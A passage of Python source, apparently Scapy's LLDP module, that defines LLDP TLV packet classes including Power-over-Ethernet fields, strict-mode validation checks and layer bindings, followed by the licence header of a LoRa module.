try: LLDPDU.LAYER_MULTIPLICITIES[self.__class__.__name__] += 1 except KeyError: LLDPDU.LAYER_MULTIPLICITIES[self.__class__.__name__] = 1 return s def dissection_done(self, pkt): if self.__class__.__name__ == 'LLDPDU' and \ conf.contribs['LLDP'].strict_mode(): LLDPDU._frame_structure_check(LLDPDU.LAYER_STACK) LLDPDU._tlv_multiplicities_check(LLDPDU.LAYER_MULTIPLICITIES) super(LLDPDU, self).dissection_done(pkt) def _check(self): """Overwritten by LLDPU objects""" pass def post_dissect(self, s): self._check() return super(LLDPDU, self).post_dissect(s) def do_build(self): self._check() return super(LLDPDU, self).do_build() def _ldp_id_adjustlen(pkt, x): """Return the length of the `id` field, according to its real encoded type""" f, v = pkt.getfield_and_val('id') length = f.i2len(pkt, v) + 1 if (isinstance(pkt, LLDPDUPortID) and pkt.subtype == 0x4) or \ (isinstance(pkt, LLDPDUChassisID) and pkt.subtype == 0x5): # Take the ConditionalField into account length += 1 return length def _ldp_id_lengthfrom(pkt): length = pkt._length if length is None: return 0 # Subtract the subtype field length -= 1 if (isinstance(pkt, LLDPDUPortID) and pkt.subtype == 0x4) or \ (isinstance(pkt, LLDPDUChassisID) and pkt.subtype == 0x5): # Take the ConditionalField into account length -= 1 return length class LLDPDUChassisID(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.2 / p. 26 """ LLDP_CHASSIS_ID_TLV_SUBTYPES = { 0x00: 'reserved', 0x01: 'chassis component', 0x02: 'interface alias', 0x03: 'port component', 0x04: 'MAC address', 0x05: 'network address', 0x06: 'interface name', 0x07: 'locally assigned', } SUBTYPE_RESERVED = 0x00 SUBTYPE_CHASSIS_COMPONENT = 0x01 SUBTYPE_INTERFACE_ALIAS = 0x02 SUBTYPE_PORT_COMPONENT = 0x03 SUBTYPE_MAC_ADDRESS = 0x04 SUBTYPE_NETWORK_ADDRESS = 0x05 SUBTYPE_INTERFACE_NAME = 0x06 SUBTYPE_LOCALLY_ASSIGNED = 0x07 fields_desc = [ BitEnumField('_type', 0x01, 7, LLDPDU.TYPES), BitFieldLenField('_length', None, 9, length_of='id', adjust=lambda pkt, x: _ldp_id_adjustlen(pkt, x)), ByteEnumField('subtype', 0x00, LLDP_CHASSIS_ID_TLV_SUBTYPES), ConditionalField( ByteEnumField('family', 0, LLDPDU.IANA_ADDRESS_FAMILY_NUMBERS), lambda pkt: pkt.subtype == 0x05 ), MultipleTypeField([ ( MACField('id', None), lambda pkt: pkt.subtype == 0x04 ), ( IPField('id', None), lambda pkt: pkt.subtype == 0x05 and pkt.family == 0x01 ), ( IP6Field('id', None), lambda pkt: pkt.subtype == 0x05 and pkt.family == 0x02 ), ], StrLenField('id', '', length_from=_ldp_id_lengthfrom) ) ] def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode() and not self.id: raise LLDPInvalidLengthField('id must be >= 1 characters long') class LLDPDUPortID(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.3 / p. 26 """ LLDP_PORT_ID_TLV_SUBTYPES = { 0x00: 'reserved', 0x01: 'interface alias', 0x02: 'port component', 0x03: 'MAC address', 0x04: 'network address', 0x05: 'interface name', 0x06: 'agent circuit ID', 0x07: 'locally assigned', } SUBTYPE_RESERVED = 0x00 SUBTYPE_INTERFACE_ALIAS = 0x01 SUBTYPE_PORT_COMPONENT = 0x02 SUBTYPE_MAC_ADDRESS = 0x03 SUBTYPE_NETWORK_ADDRESS = 0x04 SUBTYPE_INTERFACE_NAME = 0x05 SUBTYPE_AGENT_CIRCUIT_ID = 0x06 SUBTYPE_LOCALLY_ASSIGNED = 0x07 fields_desc = [ BitEnumField('_type', 0x02, 7, LLDPDU.TYPES), BitFieldLenField('_length', None, 9, length_of='id', adjust=lambda pkt, x: _ldp_id_adjustlen(pkt, x)), ByteEnumField('subtype', 0x00, LLDP_PORT_ID_TLV_SUBTYPES), ConditionalField( ByteEnumField('family', 0, LLDPDU.IANA_ADDRESS_FAMILY_NUMBERS), lambda pkt: pkt.subtype == 0x04 ), MultipleTypeField([ ( MACField('id', None), lambda pkt: pkt.subtype == 0x03 ), ( IPField('id', None), lambda pkt: pkt.subtype == 0x04 and pkt.family == 0x01 ), ( IP6Field('id', None), lambda pkt: pkt.subtype == 0x04 and pkt.family == 0x02 ), ], StrLenField('id', '', length_from=_ldp_id_lengthfrom) ) ] def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode() and not self.id: raise LLDPInvalidLengthField('id must be >= 1 characters long') class LLDPDUTimeToLive(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.4 / p. 29 """ fields_desc = [ BitEnumField('_type', 0x03, 7, LLDPDU.TYPES), BitField('_length', 0x02, 9), ShortField('ttl', 20) ] def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode() and self._length != 2: raise LLDPInvalidLengthField('length must be 2 - got ' '{}'.format(self._length)) class LLDPDUEndOfLLDPDU(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.1 / p. 26 """ fields_desc = [ BitEnumField('_type', 0x00, 7, LLDPDU.TYPES), BitField('_length', 0x00, 9), ] def extract_padding(self, s): return '', s def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode() and self._length != 0: raise LLDPInvalidLengthField('length must be 0 - got ' '{}'.format(self._length)) class LLDPDUPortDescription(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.5 / p. 29 """ fields_desc = [ BitEnumField('_type', 0x04, 7, LLDPDU.TYPES), BitFieldLenField('_length', None, 9, length_of='description'), StrLenField('description', '', length_from=lambda pkt: pkt._length) ] class LLDPDUSystemName(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.6 / p. 30 """ fields_desc = [ BitEnumField('_type', 0x05, 7, LLDPDU.TYPES), BitFieldLenField('_length', None, 9, length_of='system_name'), StrLenField('system_name', '', length_from=lambda pkt: pkt._length) ] class LLDPDUSystemDescription(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.7 / p. 31 """ fields_desc = [ BitEnumField('_type', 0x06, 7, LLDPDU.TYPES), BitFieldLenField('_length', None, 9, length_of='description'), StrLenField('description', '', length_from=lambda pkt: pkt._length) ] class LLDPDUSystemCapabilities(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.8 / p. 31 """ fields_desc = [ BitEnumField('_type', 0x07, 7, LLDPDU.TYPES), BitFieldLenField('_length', 4, 9), BitField('reserved_5_available', 0, 1), BitField('reserved_4_available', 0, 1), BitField('reserved_3_available', 0, 1), BitField('reserved_2_available', 0, 1), BitField('reserved_1_available', 0, 1), BitField('two_port_mac_relay_available', 0, 1), BitField('s_vlan_component_available', 0, 1), BitField('c_vlan_component_available', 0, 1), BitField('station_only_available', 0, 1), BitField('docsis_cable_device_available', 0, 1), BitField('telephone_available', 0, 1), BitField('router_available', 0, 1), BitField('wlan_access_point_available', 0, 1), BitField('mac_bridge_available', 0, 1), BitField('repeater_available', 0, 1), BitField('other_available', 0, 1), BitField('reserved_5_enabled', 0, 1), BitField('reserved_4_enabled', 0, 1), BitField('reserved_3_enabled', 0, 1), BitField('reserved_2_enabled', 0, 1), BitField('reserved_1_enabled', 0, 1), BitField('two_port_mac_relay_enabled', 0, 1), BitField('s_vlan_component_enabled', 0, 1), BitField('c_vlan_component_enabled', 0, 1), BitField('station_only_enabled', 0, 1), BitField('docsis_cable_device_enabled', 0, 1), BitField('telephone_enabled', 0, 1), BitField('router_enabled', 0, 1), BitField('wlan_access_point_enabled', 0, 1), BitField('mac_bridge_enabled', 0, 1), BitField('repeater_enabled', 0, 1), BitField('other_enabled', 0, 1), ] def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode() and self._length != 4: raise LLDPInvalidLengthField('length must be 4 - got ' '{}'.format(self._length)) class LLDPDUManagementAddress(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.9 / p. 32 currently only 0x00..0x1e are used by standards, no way to use anything > 0xff as management address subtype is only one octet wide see https://www.iana.org/assignments/address-family-numbers/address-family-numbers.xhtml # noqa: E501 """ SUBTYPE_MANAGEMENT_ADDRESS_OTHER = 0x00 SUBTYPE_MANAGEMENT_ADDRESS_IPV4 = 0x01 SUBTYPE_MANAGEMENT_ADDRESS_IPV6 = 0x02 SUBTYPE_MANAGEMENT_ADDRESS_NSAP = 0x03 SUBTYPE_MANAGEMENT_ADDRESS_HDLC = 0x04 SUBTYPE_MANAGEMENT_ADDRESS_BBN = 0x05 SUBTYPE_MANAGEMENT_ADDRESS_802 = 0x06 SUBTYPE_MANAGEMENT_ADDRESS_E_163 = 0x07 SUBTYPE_MANAGEMENT_ADDRESS_E_164 = 0x08 SUBTYPE_MANAGEMENT_ADDRESS_F_69 = 0x09 SUBTYPE_MANAGEMENT_ADDRESS_X_121 = 0x0A SUBTYPE_MANAGEMENT_ADDRESS_IPX = 0x0B SUBTYPE_MANAGEMENT_ADDRESS_APPLETALK = 0x0C SUBTYPE_MANAGEMENT_ADDRESS_DECNET_IV = 0x0D SUBTYPE_MANAGEMENT_ADDRESS_BANYAN_VINES = 0x0E SUBTYPE_MANAGEMENT_ADDRESS_E_164_WITH_NSAP = 0x0F SUBTYPE_MANAGEMENT_ADDRESS_DNS = 0x10 SUBTYPE_MANAGEMENT_ADDRESS_DISTINGUISHED_NAME = 0x11 SUBTYPE_MANAGEMENT_ADDRESS_AS_NUMBER = 0x12 SUBTYPE_MANAGEMENT_ADDRESS_XTP_OVER_IPV4 = 0x13 SUBTYPE_MANAGEMENT_ADDRESS_XTP_OVER_IPV6 = 0x14 SUBTYPE_MANAGEMENT_ADDRESS_XTP_NATIVE_MODE_XTP = 0x15 SUBTYPE_MANAGEMENT_ADDRESS_FIBER_CHANNEL_WORLD_WIDE_PORT_NAME = 0x16 SUBTYPE_MANAGEMENT_ADDRESS_FIBER_CHANNEL_WORLD_WIDE_NODE_NAME = 0x17 SUBTYPE_MANAGEMENT_ADDRESS_GWID = 0x18 SUBTYPE_MANAGEMENT_ADDRESS_AFI_FOR_L2VPN = 0x19 SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_SECTION_ENDPOINT_ID = 0x1A SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_LSP_ENDPOINT_ID = 0x1B SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_PSEUDOWIRE_ENDPOINT_ID = 0x1C SUBTYPE_MANAGEMENT_ADDRESS_MT_IP_MULTI_TOPOLOGY_IPV4 = 0x1D SUBTYPE_MANAGEMENT_ADDRESS_MT_IP_MULTI_TOPOLOGY_IPV6 = 0x1E INTERFACE_NUMBERING_SUBTYPES = { 0x01: 'unknown', 0x02: 'ifIndex', 0x03: 'system port number' } SUBTYPE_INTERFACE_NUMBER_UNKNOWN = 0x01 SUBTYPE_INTERFACE_NUMBER_IF_INDEX = 0x02 SUBTYPE_INTERFACE_NUMBER_SYSTEM_PORT_NUMBER = 0x03 ''' Note - calculation of _length field:: _length = 1@_management_address_string_length + 1@management_address_subtype + management_address.len + 1@interface_numbering_subtype + 4@interface_number + 1@_oid_string_length + object_id.len ''' fields_desc = [ BitEnumField('_type', 0x08, 7, LLDPDU.TYPES), BitFieldLenField('_length', None, 9, length_of='management_address', adjust=lambda pkt, x: 8 + len(pkt.management_address) + len(pkt.object_id)), BitFieldLenField('_management_address_string_length', None, 8, length_of='management_address', adjust=lambda pkt, x: len(pkt.management_address) + 1), # noqa: E501 ByteEnumField('management_address_subtype', 0x00, LLDPDU.IANA_ADDRESS_FAMILY_NUMBERS), XStrLenField('management_address', '', length_from=lambda pkt: 0 if pkt._management_address_string_length is None else pkt._management_address_string_length - 1), ByteEnumField('interface_numbering_subtype', SUBTYPE_INTERFACE_NUMBER_UNKNOWN, INTERFACE_NUMBERING_SUBTYPES), BitField('interface_number', 0, 32), BitFieldLenField('_oid_string_length', None, 8, length_of='object_id'), XStrLenField('object_id', '', length_from=lambda pkt: pkt._oid_string_length), ] def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode(): management_address_len = len(self.management_address) if management_address_len == 0 or management_address_len > 31: raise LLDPInvalidLengthField( 'management address must be 1..31 characters long - ' 'got string of size {}'.format(management_address_len)) class ThreeBytesEnumField(EnumField, ThreeBytesField): def __init__(self, name, default, enum): EnumField.__init__(self, name, default, enum, "!I") class LLDPDUGenericOrganisationSpecific(LLDPDU): ORG_UNIQUE_CODE_PNO = 0x000ecf ORG_UNIQUE_CODE_IEEE_802_1 = 0x0080c2 ORG_UNIQUE_CODE_IEEE_802_3 = 0x00120f ORG_UNIQUE_CODE_TIA_TR_41_MED = 0x0012bb ORG_UNIQUE_CODE_HYTEC = 0x30b216 ORG_UNIQUE_CODES = { ORG_UNIQUE_CODE_PNO: "PROFIBUS International (PNO)", ORG_UNIQUE_CODE_IEEE_802_1: "IEEE 802.1", ORG_UNIQUE_CODE_IEEE_802_3: "IEEE 802.3", ORG_UNIQUE_CODE_TIA_TR_41_MED: "TIA TR-41 Committee . Media Endpoint Discovery", # noqa: E501 ORG_UNIQUE_CODE_HYTEC: "Hytec Geraetebau GmbH" } fields_desc = [ BitEnumField('_type', 127, 7, LLDPDU.TYPES), BitFieldLenField('_length', None, 9, length_of='data', adjust=lambda pkt, x: len(pkt.data) + 4), # noqa: E501 ThreeBytesEnumField('org_code', 0, ORG_UNIQUE_CODES), ByteField('subtype', 0x00), XStrLenField('data', '', length_from=lambda pkt: 0 if pkt._length is None else pkt._length - 4) ] @staticmethod def _match_organization_specific(payload): return True class LLDPDUPowerViaMDI(LLDPDUGenericOrganisationSpecific): """ Legacy PoE TLV originally defined in IEEE Std 802.1AB-2005 Annex G.3. IEEE802.3bt-2018 - sec. 79.3.2. """ # IEEE802.3bt-2018 - sec. 79.3.2.1 MDI_POWER_SUPPORT = { (1 << 3): 'PSE pairs controlled', (1 << 2): 'PSE MDI power enabled', (1 << 1): 'PSE MDI power supported', (1 << 0): 'port class PSE', } # IEEE802.3bt-2018 - sec. 79.3.2.2 PSE_POWER_PAIR = { 1: 'alt A', 2: 'alt B', } # IEEE802.3bt-2018 - sec. 79.3.2.3 POWER_CLASS = { 1: 'class 0', 2: 'class 1', 3: 'class 2', 4: 'class 3', 5: 'class 4 and above', } fields_desc = [ BitEnumField('_type', 127, 7, LLDPDU.TYPES), BitField('_length', 7, 9), ThreeBytesField('org_code', LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3), # noqa: E501 ByteField('subtype', 2), FlagsField('MDI_power_support', 0, 8, MDI_POWER_SUPPORT), ByteEnumField('PSE_power_pair', 1, PSE_POWER_PAIR), ByteEnumField('power_class', 1, POWER_CLASS), ] @staticmethod def _match_organization_specific(payload): """ match organization specific TLV """ return (orb(payload[5]) == 2 and orb(payload[1]) == 7 and bytes_int(payload[2:5]) == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3) def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode() and self._length != 7: raise LLDPInvalidLengthField('length must be 7 - got ' '{}'.format(self._length)) class LLDPDUPowerViaMDIDDL(LLDPDUPowerViaMDI): """ PoE TLV with DLL classification extension specified in IEEE802.3at-2009 Note: power values are expressed in units of Watts, converted to tenth of Watts internally IEEE802.3bt-2018 - sec. 79.3.2 """ # IEEE802.3bt-2018 - sec. 79.3.2.4 POWER_TYPE_NO = { 1: 'type 1', 0: 'type 2', } # IEEE802.3bt-2018 - sec. 79.3.2.4 POWER_TYPE_DIR = { 1: 'PD', 0: 'PSE', } # IEEE802.3bt-2018 - sec. 79.3.2.4 POWER_SOURCE_PD = { 0b11: 'PSE and local', 0b10: 'reserved', 0b01: 'PSE', 0b00: 'unknown', } # IEEE802.3bt-2018 - sec. 79.3.2.4 POWER_SOURCE_PSE = { 0b11: 'reserved', 0b10: 'backup source', 0b01: 'primary source', 0b00: 'unknown', } # IEEE802.3bt-2018 - sec. 79.3.2.4 PD_4PID_SUP = { 0: 'not supported', 1: 'supported', } # IEEE802.3bt-2018 - sec. 79.3.2.4 POWER_PRIO = { 0b11: 'low', 0b10: 'high', 0b01: 'critical', 0b00: 'unknown', } fields_desc = [ BitEnumField('_type', 127, 7, LLDPDU.TYPES), BitField('_length', 12, 9), ThreeBytesField('org_code', LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3), # noqa: E501 ByteField('subtype', 2), FlagsField('MDI_power_support', 0, 8, LLDPDUPowerViaMDI.MDI_POWER_SUPPORT), ByteEnumField('PSE_power_pair', 1, LLDPDUPowerViaMDI.PSE_POWER_PAIR), ByteEnumField('power_class', 1, LLDPDUPowerViaMDI.POWER_CLASS), BitEnumField('power_type_no', 1, 1, POWER_TYPE_NO), BitEnumField('power_type_dir', 1, 1, POWER_TYPE_DIR), MultipleTypeField([ ( BitEnumField('power_source', 0b01, 2, POWER_SOURCE_PD), lambda pkt: pkt.power_type_dir == 1 ), ], BitEnumField('power_source', 0b01, 2, POWER_SOURCE_PSE)), MultipleTypeField([ ( BitEnumField('PD_4PID', 0, 2, PD_4PID_SUP), lambda pkt: pkt.power_type_dir == 1 ), ], BitField('PD_4PID', 0, 2)), BitEnumField('power_prio', 0, 2, POWER_PRIO), ScalingField('PD_requested_power', 0, scaling=0.1, unit='W', ndigits=1, fmt='H'), ScalingField('PSE_allocated_power', 0, scaling=0.1, unit='W', ndigits=1, fmt='H'), ] @staticmethod def _match_organization_specific(payload): """ match organization specific TLV """ return (orb(payload[5]) == 2 and orb(payload[1]) == 12 and bytes_int(payload[2:5]) == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3) def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode() and self._length != 12: raise LLDPInvalidLengthField('length must be 12 - got ' '{}'.format(self._length)) # IEEE802.3bt-2018 - sec. 79.3.2.{5,6} for field, description, max_value in [('PD_requested_power', 'PSE requested power', 99.9), ('PSE_allocated_power', 'PSE allocated power', 99.9)]: val = getattr(self, field) if (conf.contribs['LLDP'].strict_mode() and val > max_value): raise LLDPInvalidFieldValue( 'exceeded maximum {} of {} - got ' '{}'.format(description, max_value, val)) class LLDPDUPowerViaMDIType34(LLDPDUPowerViaMDIDDL): """ PoE TLV with DLL classification and type 3 and 4 extensions specified in IEEE802.3bt-2018 Note: power values are expressed in units of Watts, converted to tenth of Watts internally IEEE802.3bt-2018 - sec. 79.3.2 """ # IEEE802.3bt-2018 - sec. 79.3.2.6e PSE_POWERING_STATUS = { 0b11: '4-pair powering dual-signature PD', 0b10: '4-pair powering single-signature PD', 0b01: '2-pair powering', 0b00: 'ignore', } # IEEE802.3bt-2018 - sec. 79.3.2.6e PD_POWERED_STATUS = { 0b11: '4-pair powered dual-signature PD', 0b10: '2-pair powered dual-signature PD', 0b01: 'powered single-signature PD', 0b00: 'ignore', } # IEEE802.3bt-2018 - sec. 79.3.2.6e PSE_POWER_PAIRS_EXT = { 0b11: 'both alts', 0b10: 'alt A', 0b01: 'alt B', 0b00: 'ignore', } # IEEE802.3bt-2018 - sec. 79.3.2.6e DUAL_SIGNATURE_POWER_CLASS = { 0b111: 'single-signature PD or 2-pair only PSE', 0b110: 'ignore', 0b101: 'class 5', 0b100: 'class 4', 0b011: 'class 3', 0b010: 'class 2', 0b001: 'class 1', 0b000: 'ignore', } # IEEE802.3bt-2018 - sec. 79.3.2.6e POWER_CLASS_EXT = { 0b1111: 'dual-signature pd', 0b1110: 'ignore', 0b1101: 'ignore', 0b1100: 'ignore', 0b1011: 'ignore', 0b1010: 'ignore', 0b1001: 'ignore', 0b1000: 'class 8', 0b0111: 'class 7', 0b0110: 'class 6', 0b0101: 'class 5', 0b0100: 'class 4', 0b0011: 'class 3', 0b0010: 'class 2', 0b0001: 'class 1', 0b0000: 'ignore', } # IEEE802.3bt-2018 - sec. 79.3.2.6d POWER_TYPE_EXT = { 0b111: 'ignore', 0b110: 'ignore', 0b101: 'type 4 dual-signature PD', 0b100: 'type 4 single-signature PD', 0b011: 'type 3 dual-signature PD', 0b010: 'type 3 single-signature PD', 0b001: 'type 4 PSE', 0b000: 'type 3 PSE', } # IEEE802.3bt-2018 - sec. 79.3.2.6d PD_LOAD = { 1: 'dual-signature and electrically isolated', 0: 'single-signature or not electrically isolated', } # IEEE802.3bt-2018 - sec. 79.3.2.6h AUTOCLASS = { (1 << 2): 'PSE autoclass support', (1 << 1): 'autoclass completed', (1 << 0): 'autoclass request', } # IEEE802.3bt-2018 - sec. 79.3.2.6i POWER_DOWN_REQ = { 0x1d: 'power down', 0: 'ignore', } fields_desc = [ BitEnumField('_type', 127, 7, LLDPDU.TYPES), BitField('_length', 29, 9), ThreeBytesField('org_code', LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3), # noqa: E501 ByteField('subtype', 2), FlagsField('MDI_power_support', 0, 8, LLDPDUPowerViaMDI.MDI_POWER_SUPPORT), ByteEnumField('PSE_power_pair', 1, LLDPDUPowerViaMDI.PSE_POWER_PAIR), ByteEnumField('power_class', 1, LLDPDUPowerViaMDI.POWER_CLASS), BitEnumField('power_type_no', 1, 1, LLDPDUPowerViaMDIDDL.POWER_TYPE_NO), BitEnumField('power_type_dir', 1, 1, LLDPDUPowerViaMDIDDL.POWER_TYPE_DIR), MultipleTypeField([ ( BitEnumField('power_source', 0b01, 2, LLDPDUPowerViaMDIDDL.POWER_SOURCE_PD), # noqa: E501 lambda pkt: pkt.power_type_dir == 1 ), ], BitEnumField('power_source', 0b01, 2, LLDPDUPowerViaMDIDDL.POWER_SOURCE_PSE)), # noqa: E501 MultipleTypeField([ ( BitEnumField('PD_4PID', 0, 2, LLDPDUPowerViaMDIDDL.PD_4PID_SUP), lambda pkt: pkt.power_type_dir == 1 ), ], BitField('PD_4PID', 0, 2)), BitEnumField('power_prio', 0, 2, LLDPDUPowerViaMDIDDL.POWER_PRIO), ScalingField('PD_requested_power', 0, scaling=0.1, unit='W', ndigits=1, fmt='H'), ScalingField('PSE_allocated_power', 0, scaling=0.1, unit='W', ndigits=1, fmt='H'), ScalingField('PD_requested_power_mode_A', 0, scaling=0.1, unit='W', ndigits=1, fmt='H'), ScalingField('PD_requested_power_mode_B', 0, scaling=0.1, unit='W', ndigits=1, fmt='H'), ScalingField('PD_allocated_power_alt_A', 0, scaling=0.1, unit='W', ndigits=1, fmt='H'), ScalingField('PD_allocated_power_alt_B', 0, scaling=0.1, unit='W', ndigits=1, fmt='H'), BitEnumField('PSE_powering_status', 0, 2, PSE_POWERING_STATUS), BitEnumField('PD_powered_status', 0, 2, PD_POWERED_STATUS), BitEnumField('PD_power_pair_ext', 0, 2, PSE_POWER_PAIRS_EXT), BitEnumField('dual_signature_class_mode_A', 0b111, 3, DUAL_SIGNATURE_POWER_CLASS), BitEnumField('dual_signature_class_mode_B', 0b111, 3, DUAL_SIGNATURE_POWER_CLASS), BitEnumField('power_class_ext', 0, 4, POWER_CLASS_EXT), BitEnumField('power_type_ext', 0, 7, POWER_TYPE_EXT), BitEnumField('PD_load', 0, 1, PD_LOAD), ScalingField('PSE_max_available_power', 0, scaling=0.1, unit='W', ndigits=1, fmt='H'), FlagsField('autoclass', 0, 8, AUTOCLASS), BitEnumField('power_down_req', 0, 6, POWER_DOWN_REQ), BitScalingField('power_down_time', 0, 18, unit='s'), ] @staticmethod def _match_organization_specific(payload): ''' match organization specific TLV ''' return (orb(payload[5]) == 2 and orb(payload[1]) == 29 and bytes_int(payload[2:5]) == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3) def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode() and self._length != 29: raise LLDPInvalidLengthField('length must be 29 - got ' '{}'.format(self._length)) # IEEE802.3bt-2018 - sec. 79.3.2.6{a..b,e,g} for field, description, max_value in [('PD_requested_power', 'PSE requested power', 99.9), ('PSE_allocated_power', 'PSE allocated power', 99.9), ('PD_requested_power_mode_A', 'PD requested power mode A', 49.9), ('PD_requested_power_mode_B', 'PD requested power mode B', 49.9), ('PD_allocated_power_alt_A', 'PD allocated power alt A', 49.9), ('PD_allocated_power_alt_B', 'PD allocated power alt B', 49.9), ('PSE_max_available_power', 'PSE maximum available power', 99.9), ('power_down_time', 'power down time', 262143)]: val = getattr(self, field) or 0 if (conf.contribs['LLDP'].strict_mode() and val > max_value): raise LLDPInvalidFieldValue( 'exceeded maximum {} of {} - got ' '{}'.format(description, max_value, val)) class LLDPDUPowerViaMDIMeasure(LLDPDUGenericOrganisationSpecific): """ PoE TLV measurements in IEEE802.3bt-2018 Note: power values are expressed in units of Watts, converted to hundredths of Watts internally; energy values are expressed in units of Joules, converted to tenths of kilo-Joules internally; voltage values are expressed in units of Volts, converted to milli-Volts internally; current values are expressed in units of Amperes, converted to tenths of milli-Amperes internally. PSE price index is converted internally. IEEE802.3bt-2018 - sec. 79.3.8 """ MEASURE_TYPE = { (1 << 3): 'voltage', (1 << 2): 'current', (1 << 1): 'power', (1 << 0): 'energy', } MEASURE_SOURCE = { 0b00: 'no request', 0b01: 'mode A', 0b10: 'mode B', 0b11: 'port total', } POWER_PRICE_INDEX = { 0xffff: 'not available', } @staticmethod def _encode_ppi(val): # IEEE802.3bt-2018 - sec. 79.3.8 return int(75046 / 2.512 * (val ** (1 / 5)) - 10046) @staticmethod def _decode_ppi(val): # IEEE802.3bt-2018 - sec. 79.3.8 return ((val + 10046) * 2.512 / 75046) ** 5 fields_desc = [ BitEnumField('_type', 127, 7, LLDPDU.TYPES), BitField('_length', 26, 9), ThreeBytesField('org_code', LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3), # noqa: E501 ByteField('subtype', 8), FlagsField('support', 0, 4, MEASURE_TYPE), BitEnumField('source', 0, 4, MEASURE_SOURCE), FlagsField('request', 0, 4, MEASURE_TYPE), FlagsField('valid', 0, 4, MEASURE_TYPE), ScalingField('voltage_uncertainty', 0, scaling=0.001, unit='V', ndigits=3, fmt='H'), ScalingField('current_uncertainty', 0, scaling=0.0001, unit='A', ndigits=4, fmt='H'), ScalingField('power_uncertainty', 0, scaling=0.01, unit='W', ndigits=2, fmt='H'), ScalingField('energy_uncertainty', 0, scaling=100, unit='J', ndigits=0, fmt='H'), ScalingField('voltage_measurement', 0, scaling=0.001, unit='V', ndigits=3, fmt='H'), ScalingField('current_measurement', 0, scaling=0.0001, unit='A', ndigits=4, fmt='H'), ScalingField('power_measurement', 0, scaling=0.01, unit='W', ndigits=2, fmt='H'), ScalingField('energy_measurement', 0, scaling=100, unit='J', ndigits=0, fmt='I'), ShortEnumField('power_price_index', 0xffff, POWER_PRICE_INDEX), ] def do_build(self): backup_ppi = self.power_price_index self.power_price_index = 0xffff if self.power_price_index == 0xffff \ else LLDPDUPowerViaMDIMeasure._encode_ppi(self.power_price_index) s = super(LLDPDUPowerViaMDIMeasure, self).do_build() self.power_price_index = backup_ppi return s def post_dissect(self, s): s = super(LLDPDUPowerViaMDIMeasure, self).post_dissect(s) self.power_price_index = 0xffff if self.power_price_index == 0xffff \ else LLDPDUPowerViaMDIMeasure._decode_ppi(self.power_price_index) return s @staticmethod def _match_organization_specific(payload): ''' match organization specific TLV ''' return (orb(payload[5]) == 8 and orb(payload[1]) == 26 and bytes_int(payload[2:5]) == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3) def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode() and self._length != 26: raise LLDPInvalidLengthField('length must be 26 - got ' '{}'.format(self._length)) # IEEE802.3bt-2018 - sec. 79.3.8 for field, description, max_value in [('voltage_uncertainty', 'voltage uncertainty', 65), ('voltage_measurement', 'voltage measurement', 65), ('current_uncertainty', 'current uncertainty', 6.5), ('current_measurement', 'current measurement', 6.5), ('energy_uncertainty', 'energy uncertainty', 6500000), ('power_uncertainty', 'power uncertainty', 650), ('power_measurement', 'power measurement', 650)]: val = getattr(self, field) or 0 if (conf.contribs['LLDP'].strict_mode() and val > max_value): raise LLDPInvalidFieldValue( 'exceeded maximum {} of {} - got ' '{}'.format(description, max_value, val)) val = self.power_price_index or 0xffff if val > 65000 and val != 0xffff: raise LLDPInvalidFieldValue( 'exceeded maximum power price index of {} - got ' '{}'.format(LLDPDUPowerViaMDIMeasure._decode_ppi(65000), LLDPDUPowerViaMDIMeasure._decode_ppi(val))) # 0x09 .. 0x7e is reserved for future standardization and for now treated as Raw() data # noqa: E501 LLDPDU_CLASS_TYPES = { 0x00: LLDPDUEndOfLLDPDU, 0x01: LLDPDUChassisID, 0x02: LLDPDUPortID, 0x03: LLDPDUTimeToLive, 0x04: LLDPDUPortDescription, 0x05: LLDPDUSystemName, 0x06: LLDPDUSystemDescription, 0x07: LLDPDUSystemCapabilities, 0x08: LLDPDUManagementAddress, 127: [ LLDPDUPowerViaMDI, LLDPDUPowerViaMDIDDL, LLDPDUPowerViaMDIType34, LLDPDUPowerViaMDIMeasure, LLDPDUGenericOrganisationSpecific, ] } class LLDPConfiguration(object): """ basic configuration for LLDP layer """ def __init__(self): self._strict_mode = True self.strict_mode_enable() def strict_mode_enable(self): """ enable strict mode and dissector debugging """ self._strict_mode = True def strict_mode_disable(self): """ disable strict mode and dissector debugging """ self._strict_mode = False def strict_mode(self): """ get current strict mode state """ return self._strict_mode conf.contribs['LLDP'] = LLDPConfiguration() bind_layers(Ether, LLDPDU, type=LLDP_ETHER_TYPE) bind_layers(Dot1Q, LLDPDU, type=LLDP_ETHER_TYPE) ================================================ FILE: scapy/contrib/loraphy2wan.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2020 Sebastien Dudek (@FlUxIuS) # 